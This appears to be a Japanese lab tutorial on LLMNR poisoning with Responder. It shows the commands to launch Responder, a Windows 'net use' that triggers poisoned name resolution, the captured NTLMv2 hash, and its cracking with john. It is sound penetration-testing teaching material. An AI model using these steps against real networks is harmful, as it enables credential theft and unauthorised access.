Responderで行うLLMNR Poisoning

# Post Exploitation - Responder
## Responderとは
- ハイジャック攻撃ツール
- Windowsが存在するネットワークで、LLMNRリクエストを監視し偽の応答を返すことで、サーバに成りすますことができる（他にも対応するプロトコルあり）
- クライアントがSMBサーバに接続する際のパスワードハッシュを盗む
    - 盗んだパスワードハッシュはjohnやhashcatを使用してクラッキングする


## 検証環境
- Windows 10 
    - 192.168.1.1

- Kali linux
    - 192.168.1.2

## 手順
1. Kali linuxでResponderを起動する
`sudo responder -I eth0` を実行します。
`-I`オプションはインターフェースの指定。※ハイジャックしたい通信が流れているネットワークに面したインターフェースを指定すること！
「Responder」と書かれたFIGletも出てきてなんかおしゃれ！
今回は特に設定は変更せずにデフォルトの状態で使用してみます。

```
$ sudo responder -I eth0
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.1.2]
    Responder IPv6             [fe80::a00:27ff:fe0e:348d]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-AY39YRZFSKH]
    Responder Domain Name      [4Y2F.LOCAL]
    Responder DCE-RPC Port     [47433]

[+] Listening for events...

```
2. Windowsクライアントでサーバの名前解決を試みる
`net use \\サーバ名\共有名 /user:ユーザ名 パスワード`を実行します。
接続先は存在しないサーバ名でOK！
クライアントがファイルシェアに接続するような動きを想定しています。
今回は検証なのでユーザ名：test_user、パスワード：passwordという非常に脆弱なクレデンシャルで実行しています。
※実際の環境では使用しないように！

```
C:\Users\test_user>net use \\responder_test\share /user:test_user password

システム エラー 5 が発生しました。

アクセスが拒否されました。
```
当然そんなファイルシェアは存在しないのでアクセスが拒否される。

3. パスワードハッシュの確認。
Responderのほうを見てみると、ずらずらと下記のような表示がされている。
```
[*] [MDNS] Poisoned answer sent to ::ffff:192.168.1.1 for name responder_test.local
[*] [LLMNR]  Poisoned answer sent to ::ffff:192.168.1.1 for name responder_test
[*] [LLMNR]  Poisoned answer sent to ::ffff:192.168.1.1 for name responder_test
[*] [MDNS] Poisoned answer sent to ::ffff:192.168.1.1 for name responder_test.local
[*] [MDNS] Poisoned answer sent to ::ffff:192.168.1.1 for name responder_test.local
[*] [MDNS] Poisoned answer sent to ::ffff:192.168.1.1 for name responder_test.local
[SMB] NTLMv2-SSP Client   : ::ffff:192.168.1.1
[SMB] NTLMv2-SSP Username : \test_user
[SMB] NTLMv2-SSP Hash     : test_user:::c3fbaeb01c0117ba:AFDBE4FFBEA8C794554D5F86BFCEE957:010100000000000000C417739FD2D801592517A45399995B0000000002000800440048004600430001001E00570049004E002D005400430052004E004A004E004C004F0050004A00430004003400570049004E002D005400430052004E004A004E004C004F0050004A0043002E0044004800460043002E004C004F00430041004C000300140044004800460043002E004C004F00430041004C000500140044004800460043002E004C004F00430041004C000700080000C417739FD2D801060004000200000008003000300000000000000000000000002000005AC77527CE6A33BBFE209099ED9B1FECD96A9E26B5ACBF9FB426872561989B8D0A001000000000000000000000000000000000000900260063006900660073002F0072006500730070006F006E006400650072005F0074006500730074000000000000000000
```

4. 取得したパスワードハッシュをクラックする
Responderは結果を自動で保存してくれるので、コピペする必要なし！（ありがたい）
Responderを終了したら、logsフォルダでファイルを探します。
私の環境では`/usr/share/responder/logs`にありました。
そのままjohnやhashcatのようなツールで使用可能です。

```
└─$ john SMB-NTLMv2-SSP-::ffff:192.168.1.1.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password         (test_user)
1g 0:00:00:00 DONE 2/3 (2022-09-27 19:13) 10.00g/s 131150p/s 131150c/s 131150C/s 123456..random
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

```

## 参考
- https://www.hackingarticles.in/a-detailed-guide-on-responder-llmnr-poisoning/
- https://www.kali.org/tools/responder/
- https://www.ceos3c.com/security/llmnr-poisoning-explained-ethical-hacking-tutorial/